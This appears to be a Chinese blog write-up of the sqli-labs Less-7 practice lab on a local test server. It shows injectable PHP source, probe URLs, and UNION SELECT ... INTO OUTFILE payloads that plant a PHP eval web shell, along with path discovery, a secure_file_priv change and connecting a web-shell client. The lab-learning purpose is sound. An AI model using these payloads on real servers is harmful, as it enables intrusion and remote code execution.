sqli-labs-less-7(需要注意配置问题)

Created at 2018-08-08 Updated at 2018-08-08 Tag web

这是一道因为配置问题搞了很久题_φ( °-°)/

sqli-labs/less-7(导出文件GET字符型注入)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
//没有查询结果输出的语句,但是提示说outfile
// outfile是将检索到的数据,保存到服务器的文件内:
//outfile格式:select * into outfile "文件地址"
echo "<br>";
echo "</font>";
}
else {
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
//这里竟然不能输出报错信息啦!?
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

http://127.0.0.1/sqli-labs-master/Less-7/?id=1 (没报错)

http://127.0.0.1/sqli-labs-master/Less-7/?id=1'--+ (报错)

http://127.0.0.1/sqli-labs-master/Less-7/?id=1"--+ (没报错,但是看源码,这里不是应该报错的么??)

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')--+ (报错)

http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))--+ (没报错)

http://127.0.0.1/sqli-labs-master/Less-7/?id=1" and (extractvalue(1,concat(0x7e,(select concat_ws(' ; ',database(),user())),0x7e)))--+ (报错,但是没有报错信息)

所以不能用报错注入,但是提示还说outfile

导入到文件outfile:

SELECT…..INTO OUTFILE ‘file_name’

可以把被选择的行写入一个文件中。文件被创建到服务器主机上,但是必须拥有相应的权限,才能使用此语法。文件名也不能重复。

常用的形式:

1、直接写进文件里

(1)select version() into outfile "c:\\phpnow\\htdocs\\test.php" ,这里的version()可以换成别的,也可以是多个。

(2)select "<?php @eval($_POST['cmd']);?>" into outfile "XXX\test.php" ,这里需要获取到网站的在系统中的具体路径(绝对路径)

2、修改文件结尾

select version() Into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16进制文件

关于本题:
这里可以用select "<?php @eval($_POST['cmd']);?>" into outfile "XXX\test.php" ,导入到相应的路径下,在访问页面连接菜刀。在这里必须知道一些文件位置,但是不能报错注入,正确查询又没有信息显示,看了别的大佬的wp,说可以从别的等级的题来确定文件的位置。可以说真的好机制呐!

http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,@@datadir,@@basedir MYSQL--+

http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,@@version_compile_OS --+

通过第二题的查询,得到了数据库的当前位置、安装位置和操作系统的信息。
从中推测网站的默认路径为E:\phpstudy\PHPTutorial\WWW

根据第二题,还是可以知道查询三列,查询结果为第2、3列
http://127.0.0.1/sqli-labs-master/Less-7/id=1')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "E:\phpstudy\PHPTutorial\WWW\test.php" --+

我猜大概是需要我手动修改一下权限吧。一开始以为是没有mysql这几个文件的权限,修改了权限之后,最开始还是不能访问,后来多点点莫名好了?!

http://127.0.0.1/sqli-labs-master/Less-7/?id=')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile 'E:\phpstudy\PHPTutorial\WWW\sqli-labs-master\Less-7\test07.php' --+

页面显示报错,再去相应的目录下查看,发现还是没有生成文件,很迷(唉,毕竟我是个小辣鸡φ(..) )

百度了很多,推算了很多(省略很多弯路过程),发现可能是因为secure_file_priv=NULL造成的问题

关于secure_file_priv的配置问题

(1)限制mysqld不允许导入和导出

mysqld --secure_file_prive=null

(2)限制mysqld的导入和导出只能发生在/tmp/目录下

mysqld --secure_file_priv=/tmp/

(3)不对mysqld 的导入和导出做限制

在/etc/my.cnf或者my.ini文件中不指定值。

为了记录,还是情景再现一下配置过程:

1、在phpmyadmin里查询:SHOW VARIABLES LIKE "secure_file_priv"

因为secure_file_priv的值为NULL,不允许导出和导入,正是这个原因,所以才有之前的权限问题

在phpstudy的目录下找到相应的MySQL的配置文件my.ini(我的配置文件路径:E:\phpstudy\PHPTutorial\MySQL\my.ini),查看后发现没有这个选项唉…自己在末尾添加上:
secure_file_priv =,保存之后重启一下phpstudy就可以啦

修改完以后再次查看一下secure_file_priv的值:

这样就可以导入导出了

2、测试一下能不能导入或导出
select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "E:\phpstudy\PHPTutorial\WWW\sqli-labs-master\Less-7\test01.php"

报错了,不能创建,应该是被转义的问题吧
select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "E:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\test01.php"

能够被执行,test01.php的内容为:

http://127.0.0.1/sqli-labs-master/Less-7/?id=')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "E:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\test.php"--+

页面还是会显示报错,但是在相应的目录下已经生成php文件了

④连菜刀

url:http://127.0.0.1/sqli-labs-master/Less-7/test.php

在找问题的过程中,看到了一些关于phpMyadmin提权,先码着看看

附上链接:https://blog.csdn.net/xiaoi123/article/details/80539419

Site by 9527 using Hexo & Random

Hide